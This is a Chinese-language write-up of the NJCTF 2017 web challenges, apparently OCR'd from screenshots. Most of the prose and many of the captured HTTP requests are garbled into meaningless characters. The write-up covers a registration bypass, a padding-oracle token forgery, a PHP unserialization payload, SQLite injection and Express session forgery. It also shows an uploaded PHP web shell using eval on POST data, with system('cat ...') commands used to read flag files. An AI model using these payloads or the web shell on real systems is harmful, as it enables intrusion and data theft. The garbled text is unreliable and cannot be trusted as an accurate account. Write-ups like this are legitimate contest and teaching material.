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NJCTF 2017 web Writeup
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web100 Login

R AR B3R AN 65 [ F I B (B M — 53k 25 2 5 R INAE getflag.php S FAHTER T HOMA 4. B— PR ZIREN, B
A IE — MRS BNE M ), T HIEE R LARREN ), ORI AAREE S, B BRI AR R T R
50, It LARXAE AT LA 7% B adminf) & i, a0k

POST /regist.php HTTP/1.1

Host: 218.2.157.235:23731

User-Agent: Mozilla/S.0 (X11; Ubuntu; Linux x86 64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://218.2.197.235:23731/regist.php

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-Tform-urlencoded

Content-Length: 97

username=admin admin&password=Aa111111&subm t=SI GM+LIP

XFERUR ) E Badminf)# Y, Gt LgiETlag 1.

web100 Get Flag
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POST /hehe HTTP/1.1

Host: 218.2.197.235:23725

User-Agent: Mozillay/S.0 (X11; Ubuntu; Linux x86 64; rv:52.0] Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%/%;q=0.8

Accept-Language: zh,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://218.2.197.235:23725/

Cookie: PHPSESSID=gSviltgeduS313dorkpStiu72s;
_sample_app_session=aXJIcWFSbDRVTHRYSGSWWLFST VRPNUdyeDd ] amx Zb0ExZzhneDh2MX L 65Vhavk REDVBgRXhGZFVeR1UAL 21502t pR2hWZD
JThwWIPdELGhz 1T ¢ RMc 3NIMHI tHMy € XZCNz g AMEV Qe DESeWSQeURXb IRVT Xdk UGR=T 1dxb GNj QUpGOGY xc 1k zN3ZQaXczUELBMLoybk tqaTNth3Buy
S1LIHUGEChDI CMY Y wNERXQOIPNYo ANOUx alUpx SCEINLYLAVLIL21 2UT J1RSs 4NOx 2Y 2F0Z L ZK amhwRWx T cDdgeUT ONzd 1M1g4bVQ2Tn VK c ORGa LIFXWD
FRO1 9r Q21 OVFpQUOJ GdUI RK2NFTkNLSTNUb Gy TOLSWUST e UNT eUVy azh 1k 2ZZbTBY Q2F0Skp ] R2ZMOLS1uT j RrSS8aWEgwWUxwT k LHemZ rWUFnPT 08
30- - 357a37e2551T 9ea3d212ac47ddf 4add9as1d3958f5

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 96

flag=1.jpg%26catt. . ../ foude /o fouf oo/ /OLZM20TEMQE750dIp%25! 0dm2%25M4! nhs_this flag&submit<]

web300 Be Admin
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P W EEHN secconctf2016 biscuiti MIVRAREEA AL, MMt 2 S5 WD e Bk, 1 e TRAT A8 N 2 )5 11D, il 2 2%
3, VA Jctoken AR AIAG M &, SRR ERATTE H %)ctokenﬁlD’%ﬁrtHﬂ:
4 admin\x@b\x@b\x@b\x0b\x0b\x8b\xBb\x@b\x0b\x0b\x0b (PSIMNEIHTE X J5), XFETFHiE 2 admin FI{E L EE R LT 16 AE,
M ELARIXFEN H AT /e 7 2@ padding oracle ZEEIIDXTMIISC, REHHTCBCHTiEE: M, MMscBl AR, ML
5 secconctf2016 biscuiti ZEARXS I, (H 2 rb a2 & USRI ) R, B il SRERAS I B & T R
4 r=request. session()v TEX BB T RIEA .. BANES & IXE @ RS2 H e 7, RIFMETEHP R, &HA T
JEJUQ/Zi WA, BGSRERAT T, EHARIEIERL K while 1, 7T &MES flag 7, #, RET,

::‘J:ECH/‘JAFE‘E%E?E test_identity HPH il #2147 padding oracle Xifi, ANiLiXFERULEE R REBME150, HF—H

R, (AR T IR SRR S8, B AR e /e logintl Bk, ANk #f—+¢, Rk

/N
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token:gXPxo0QU6ILTHOC9e0DSTQA==

middle:zgGlyYtbUs2SDUoMPDCXRA==

T3JEaW5hcnLVNWVSBAQEBA==
YWRtaW4LCwsLCwsLCwsLCw==

r2XYoOVQWcaZBKEHNzZucTw==

<ldoctype html>
<html=>

<head=<title=Login</title></head>
<body>Hello ~~~ ctfer! NJCTFYE)u e TEE<div><a href="logout.php">Log out</a></div>

web350 Text wall

B E R 0 S L index. php. swo ZE RT3 IRIG U T

BEAN T AIM, BYE  toString MIfih & S RIE I -




SRIGERBEIL IO 2, ZE X index. php R J5 7E L 75 4nflag i B
£ /var/www/PnK76P1IDFY5KrwsIrhlpl3c6XI3fj7E_flag , iEELEI3k{Sflag, #REMWT:

POST /index.php HTTP/1.1 i HTTP/1.1 200 OK

Host: 218.2.197.235:23721 [ server: nginx/1.10.2

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_84; rv:52.0) Gecko/20100101 Firefox/52.0 Date: Sat, 11 Mar 2017 08:40:11 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language: zh,en-Us;q=0.7,en;g=0.3 Content-Length: 997

Accept-Encoding: gzip, deflate Connection: clese

Referer: http://218.2.197.235:23721/ X-Powered-By: PHP/5.6.30

Cookie Vary: Accept-Encoding

lists=68 10f 39d01405bS8ed fcor filelist%2z%3A1%3A%7Bs%3AGR3A%2250Ur Ce%22%3B0%

3a8%30%2271 le L1 st%22%3A1%3A%7Bs%306% 3A% 225 0U rC 8% 22%3B5%3A46% 3% 2 2% 2F va % 2Fwwws 2FPnK 76P11 DT YSK rws I rh1pL. <!DOCTYPE html>

3cex)3f ] 7E_fl4g%22%38%70%7D <html>

Connection: close <head>

Upgrade-Insecure-Requests: 1 <title-Please Get Flagl!</titles
Content-Type: application/x-www-form-urlencoded <meta charset="utf-g'>
Content-Length: O <meta name="viewport' content="width=device-width, initial-scale=1"=

<link rel='stylesheet” href=thttp: s /apps.bdimg.com/libs/bootstrap/3.3.0/css/bootstrap.min.css">

<script sre=rhttp://apps.bdimg.com/libs/jquery/2.1.1/jquery.min. js*s</scripts

<script src="http://apps.hdimg.com/libs/bootstrap/3.2.0/3s/bootstrap. min.js"=</script=
</head>
<body>
<div class="container"s

<div class="jumbotron”s
<h1=Please Get Flag!!</hl>

</dive
<div class="row'>
<div class='col-sm-4">
h3>ecode><span style="color: #000000'>

/span=>
</code><code><span style="color: #000000">
NICTF{PHP_unSerialization_a77ack_i5_very_Interes7lng}</span=>
</code></h3>
</div>
</div>
<form method="post® href=r.o=
<input name="hichichie® value="hiehichie">
<input type="submit® value="submit">
</form=
</div>
</body>
</html>

web300 Wallet

W 2EiEI http://218.2.197.235:23723/www. zip EF|—MINFRIEL, KIMFEEFN, J5RERFLE njctf017 T
TN 2 G HPEARES, s 2 Ja RIS N R



KIL—ALL#E shal((string)$hsh) == md5((string)$auth) , AHZF| 5557

KA, AP @e JHK ERIT], mdSIXAE TR

G e — AN AL sqlitey N, X FLIR BRI H 1), G
J& select flag from flag, AT, #R)5 select 1 from flag, MEh, FRJE

—SBRRmER, BETS , E T

%, shallfifif B e, HEd—FRIFR B — aakisTfY , K5

select id from flag, 3KfHflag,Wars, &= 7T

hp?page=about

wWallet contains: NICTF{Th3_mlxtu2e_OF_M4gic_Hash_ond_50lite_InJec7ion}

web400 picture’s wall

TSI B ol 1 A A IRATART FH P FAT AT S g BB RE R AR 50 i, AR 18k 2 S0 2 R Broothe LAL S, BB A XA
& root M ? K'Ev SR JE -6 ) R R B B IR B4 host 2t T E 2 liae DARE R T, SREHFGRINIE BAL, AR I g & B e 5+
ITEFI)J /ﬁ\*{zﬁ SUE, ARG ft{:%u(jj:ézz

FH AR AR, 1542 phtml W, phps W, pht I 2 FEERBERE(E A%, U5 2 )5 &I
B IFAET, I/:I\/tﬁlTLlj TRAERI <script> b2, W) LAEHAT, i FEK:




POST /upload.php HTTR/1.1

4 HTTR/1.1 302 Found
Host: 218.2.197.235:23719 )

Date: Sun, 12 Mar 2017 03:56:18 GMT
Server: Apache/2.4.10 (Debian
X-Powered-By: PHP/5.6.30

Expires: Thu, 19 Now 1981 08:52:00 GMT

User-Agent: MozillasS5.0 (X11; Ubuntu; Linux xB86_64; rv:52.0) Gecke/20100101 Firefox/S2.0
Accept: text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Referer: http://218.2.197.235:23719/index.php?act=user Pragma: no-cache

Cookle: PHPSESSID=g5viltgeousS3l3dorkpStiu72s; Set-Cookie: piclist=a%3A1%3A%7E1! 22upload: i bd: 0295b00 ., phtml %2253
Connection: close expires=Tue, 11-Apr-2017 03:56:18 GMT; Max-Age=2592000

Upgrade-Insecure-Requests: 1

Location: index.php?act=user
Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Type: multipart/form-data; boundary=---«-ceemmmmommoannon.. 67112512611035338841 300186635
Content-Length: 278

rrrrrrrrrrrrrrrrrrrrrrrrrrrrr 67112512611035338841390186635
Content-Disposition: form-data; name="pic'; filename="trojanl.phtml
Content-Type: image/jpeg

<script language='php'=>

eval($ POST'bdw']);

</scripts]

rrrrrrrrrrrrrrrrrrrrrrrrrrrrr 67112512611035338841300186635- -

5 HHL flag R

mya — W gl g el FRRIVIL LRIy e

= Load URL
¥ split URL
) Execute

http://218.2.197.235:23719/upload/3b959cb 1244ac04504bd 5a4230299b00.phtml

[v|Enable Post data [ |Enable Referrer

Post data bdw=system('cat ../../AOVUTWIDRTxn1tv2g56SJLpJK1I7EmBI_thi5_flag')]

NJCTF{EveryThing_1s_a_r3gular_attdck}

web450 Be Logical
LRI AR, AR ERBLE ©A 50070 M0 M, i H A BRI, ZJE KA SR S5 refund T

A, FOEHABU R T1E 1T, )5 fErefund IR LM points s 11111111, 8 R ZE R 1, ARG B il 13X
B, &, KKT,

you account information:

HUFEM KRR REA TIRZ > T, 10000 K55, #ERnT



You can transform your IMAGE to another format here~ back ‘

‘ Welcome, Dear bendawang,you can upload IMAGE files and convert them to other extensions. ‘

TR I RES AR _EAL (B AT AL A ks 28, T R gt JERAE BN IE imagmagick A4 HAT IR IR BEAE TR T
Npocll R

A, PTG R shell ZENLEE B3k T I AR A flag, TRAEREALAEN KL BV, REHETRE, KM1,1943=4
WL2s80us D4, Vildl— F19, REl—AMAM 288, SR )56 EAE 3] 2 fiphpmailerdli Nevelsii, (H2&TE— A5 H
3, ARG EIT —A uploads , Vil RHEI403, WHIE T, H@HZERK, Wk

KILEIIAT phpinfo(); » RJGHUTIR EEARD, f& 7RG VSO S AT, §T, HEES HRUHE, WT:

ZIZEXIIEE N E S I

RGBSR N BRI L T, SR H file_get content ,9%515(, JakHE system , Yy, W

ERICIFAFLTT

web350 chall1

TR TE R R, 7RI R BT SR s i buffersk ittt 2 N 17 https://www.smrrd.de/nodejs-hacking-challenge-
writeup.html , {HZEAR TEAIT, J5RZgithub bRl (EHE —48 25 1L 1R



Search & R .bibibibibibibibibibibibibibi~ A Search

- «1T= Olddriver/app — admin.jade Pug
D Repositories =% Showing the top two matches. Last indexed 2 days ago.
¢» Code 1 extends layout
©« Commits block content
hi i§ER, bibibibibibibibibibibibibibi~
@® lssues #container.col
[EE Wikis
L Users
Languages
Pug 1

Advanced search Cheat sheet

IRJE KRBT -

W i B4R —MMDS 5 I E A2 0-9mt T 1, BRI JEdRE] T — A 2PP7 , SRJEAGRTE R



PosT /login HTTR/1.1

Host: 218.2.197.235:23729

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */+

Accept-Language: zh,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://218.2.197.235:23729/admin

Content-Type: application/json;charset=utf-&

Content-Length: 19

Cookie: session=eyJhZGlpbil6ImSvInG=; session.sig=Us-Lg0YJipIZLRIXs4HStV2EK O
Connection: close

{*password":"2PP7t }

it 5 W AF R, R 5 ) E Fiflag

HITR/ L L 200 UK

Server: nginx/1.10.2

Date: Sun, 12 Mar 2017 ©@9:11:17 GMT
Content-Type: application/json; charset=utf-38
Content-Length: 358

Connection: close

X-Powered-By: Express

ETag: W/"166- 8im]jDCMECDSSaDtNSAL shw"

X
r

HTTP/1.1 200 OK

Server: nginx/1.10.2

Date: Sun, 12 Mar 2017 09:21:06 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 984

Connection: close

X-Powered-By: Express

ETag: W/"3d-LvB6q1GExpaChT AVnEAqOg"

{"status®:*errort, "error” ;"password wrong:
6}676;\U000\ LOOOOAG 76 ; \LIOBOO\UOOOOAG?H; \UOOOE\ UOBO0 16, UOBO2\ LOG1S28) LOCOD\UOBOCHAH? | ; \LODOOY LOODOYBE? B \UODOO\ U
0000L~678 ; \UODOO\UEDOOE~E7? 6, \ LOODO\LOODOBT \LIBEO 1\ LO0 1528\ L0006\ UBOO1E| UBBOZ\ UOD1S 28\ LOOED\ LOODAJE? 66 ; \LUOOCOYUBOD
06}676 ; \LOO00\LOOOOH\ LOOOhE? 63 \LOOOO\LOOOON td676; \UOOEO\LOODOBAE?&; \UODOO\ UDDOOKOR? §; \LOODONUODOOE\ UOOOTE?E; \UOOD
0\U0OOOKEN?E; \LOOCO\ UOODOK} 676 ; \LOODD\LOOOO) ~67%; \LOOOD\LOODOT ~&7¥; \uODOO\UDCOOKEE? 6 ; \UOOOG\UODO0A UODLSHE?6; \UBDD
0\U0000E~%7%; \uO00O LIDOOOK~H? 6 ; \,UOOOEUO00D) K\ LICOO2LBOLS528" YOO UORDOKEE?E; \u t-678;\u Bab?b
3\UOOOO\UOOOEYLOD1 11676, | OO0\ LOOODK|LIODO767 6 ; \UOODE|LICBO0AY 7# ; \LODOY UGOCOHEE? ; \ LOOOO\LBEOOKT \LUBEO 1\UOO1S28\U0
000\ u0OEOY BH76 ; \UOEDOY\UODOaH,6/\LEDEE\ LODODHEE? & ; \LCOOD\LODOBAT \LODOOYUED1528" }

{"status":"error","error":"password wrong: nav navbar-nawv\"=<li=<a
href=\"/\"=index</as</li=<li><! - -alhref='sadmin') admin--=</lis</ul=</divs</div=</nav=</body==div

class=\"contalnery"=

=div class=\"starter-template\"=<hl=Not

Found</hl=<h2=404</h2=</div=</div=</html={\ " adminy" :\ " no\" }onNICTF{P1e45e_s3arch_thls_sGurce_cod3 olddriver}vextend

s layout"}

web450 chall2

R — A= Bflag, Kt fE N session_keys

ESRIS AT app.js BN req.session.admin

'yes'; , SRJEVIIN3RST session.sig




(1 :18)—> curl http://127.0.0.1:3000 -v —(Sun,Mar12)—
Rebuilt URL to: http /1127.0.0.1:3000/

Trying 127.6.0.
Connected to 127. 0 6.1 (127.0.0.1) port 3668 (#8)

HTTP/1.1 200 OK
X-Powered-By: Expre

L.
n, 2 Mar 2017 ©8:55:21 GMT
ection: keep-alive

app="passwordApp"><head><title>i [t i Y / i ps: //maxcdn.bootstrapcdn.com/ )tstrap‘}.}.r}j(< [bootstrap
bower_components/angular g . scri i s / scripts in. i [ av cla "navbar navbar-in
i navbar - head: "navbar - brand >Demo: i i LEVALEVGETELEI /admin') admin- i #" ng- (1\(L
" Logout()">Logout</a> { i body><div class= ine div class="starter-template”><div c
Z3 >Node. j & o, EEER 1/0 RE, FHEENEH

SR J5 15 2 cookie & i B 1]

GET /admin HTTP/1,1 4 HITP/1.1 200 OK

Host: 218.2,197,235:23729 [ server: nginx/1.10.2

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/S2.0 Date: Sun, 12 Mar 2017 09:35:11 GMT
Accept: application/json, text/plain, */* Content-Type: text/html; charset=utf-8
Accept-Language: zh,en-US;q=0.7,en;q=0.3 Content-Length: 1046

Accept-Encoding: gzip, deflate Connection: close

Referer: http://218.2.197.235:23729/admin X-Powered-By: Express

Content-Type: application/json;charset=utf-a ETag: W/'416- xk71V0Skvy LuwyL Dmuk PSQ"

Cookie: session=eylhzGlpbil6InlleyJS; session.sig=DLXp3JcDloX3cBvdpligOAn-pDYo
Connection: close

DOCTYPE heml=<htnl ng-app='passwordApp ><head><title=admin</title=<link rel='stylesheet"
href="/stylesheets/style.css'><link rel="stylesheet

href="https://maxcdn.bootstrapcdn. com/bootstrap/3.3.6/css/bootstrap.min. css' ><script

src=" /bower_components/angularjs/angular. js"></script><script src="/javascripts/main.js"></script></head><body
ng-controller="PasswordCtrl*><nav class="navbar navbar-inverse navbar-fixed-top*><div class='container”><div
class="navbar-header"><a clas: vbar- brand")Demn(/a)(/d) v><divaeul class='nav navbar-nav’><li><a

href=" /">index</a></li><liz<! - -a( --></liz<liz<a href="#"

ng- chck*"luguut()”>Lngnu1</a></h></ul></d </body><div class="container’> <div
class="starter- tenplate" =< 1= &, bibibibibibibibibihibibibibi~e/M=<div 1d="container:
class="col"><p>s & , admin TkpDVEZ7T jBkNUPTSpivSLiWs5WH5LE in77y X77yFfQ==</po<div
ng-if="login.status == 'error'* class="alert alert-danger*><p>{{login. errorkbe/pa</divae/divmc/divos, divacshtnl>

base64fift %2 &

LpDUE7TT18LI‘ gTSpl”SLII."S51-'l'|5L'I.K5py A5aW955qEGK+t6KLATTYMSa+55ZCXT Ay T

_?rE’J.LEI = 3 '!—J’D

? }r.

web250 Guess

Bl SO A B R IRRY,  upload. php HIYEAS AN




WMER 2 JG RIMIATWER G A48, BAIn] DLsD AR R4 dtziptl, 285 b4 Zzip SO (MUsPng G 48 1 A4%), FIHpharDy sl £
AT AT Lo

FTAFRATZ Dk 2 fm B 44, RIABINEFR 2] $seed o

XK — AR e.php , 42 J5 4 ~N0.png A%

SRIGE TIX BN session_id() » F-ATEIT 4 E Cookie: PHPSESSID=; WLAEibE N2, LA RIFEHLEIMdS, RIS HIE

N 732946980 , HITIXA http://download.openwall.net/pub/projects/php_mt_seed/ L E.ffFH15%

(17:52:32)—> . /php_mt_seed 732946980 —(Sun,
trying 134217728 - 1677721/9, speed| 24763418 seeds pergsecond

O S i i i AR




A OO A4 BT — BB 2 9 iT3Bip2WzUVhBITZPZrfTVezZjgmrkiDQ , AN _EFAT FAE K] 0. png T UL 52 BB SO #8412
N /uP104Ds/iT3Bip2WzUVhBITZPZrfTVeZjgmrKiDQ @.png , ZAJG 1A

i

http://218.2.197.235:23735/ ?page=phar://uP104Ds/iT3Bip2WzUVhBITZPZrfTVeZjgmrkiDQ ©.png/0 , /o AT 4Bl ey £ 5|
flag.

.

@ Load URL  http://218.2.197.235:23735/2page=phar://uP104Ds /iT3Bip2WzUVhBITZPZIFTVeZjgmrK1DQ_0.png/0
4§ splitURL

}) Execute
v|Enable Post data | |Enable Referrer

Postdata bdw=system(‘cat flag-Edi98vIFShnIp.txt);

@please upload an IMAGE file (giffjpg|jpeg|png)

NJCTF{F1N411y_YOU_fo00uND_M3!1}
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